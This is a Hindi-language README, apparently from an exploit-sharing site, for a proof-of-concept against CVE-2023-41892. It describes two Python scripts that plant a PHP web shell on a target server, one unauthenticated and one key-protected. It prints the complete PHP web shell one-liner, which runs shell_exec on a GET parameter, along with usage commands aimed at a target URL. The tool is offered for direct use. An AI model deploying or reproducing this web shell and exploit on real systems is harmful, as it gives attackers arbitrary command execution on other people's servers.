CVE-2023-41892_poc

इसे अपने उपयोग के लिए अनुकूलित किया गया

poc_noauth.py

• बेसिक PHP वन-लाइनर वेब शेल
• ?cmd=<कमांड> के माध्यम से OS कमांड निष्पादन

poc_auth.py

• सरल कुंजी-आधारित प्रमाणीकरण के साथ वेब शेल (SHA-256 हैश तुलना विधि)
• सही कुंजी दर्ज करने पर ही कमांड निष्पादन संभव
• कोड संशोधन आवश्यक:
  • drop_payload फ़ंक्शन के अंदर webshell वेरिएबल में YOUR_SECRET_KEY भाग को वांछित कुंजी के SHA-256 हैश मान से बदलें
• उपयोग विधि:
  1. webshell के अंदर YOUR_SECRET_KEY को सादे टेक्स्ट कुंजी के SHA-256 हैश मान से बदलें
  2. अनुरोध करते समय सादे टेक्स्ट कुंजी पास करें
     root@kitploit:~

     {target}/shell.php?k=<plaintext_key>&c=<command>
     

• उदाहरण:
  1. सेटिंग: सादे टेक्स्ट कुंजी = test1234
  2. cyberchef आदि के माध्यम से SHA256 हैश: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     • echo -n test1234 | sha256sum
     • cyberchef आदि
  3. कोड संशोधन:
     root@kitploit:~

     webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
     

उपयोग विधि

python poc_noauth.py {लक्ष्य}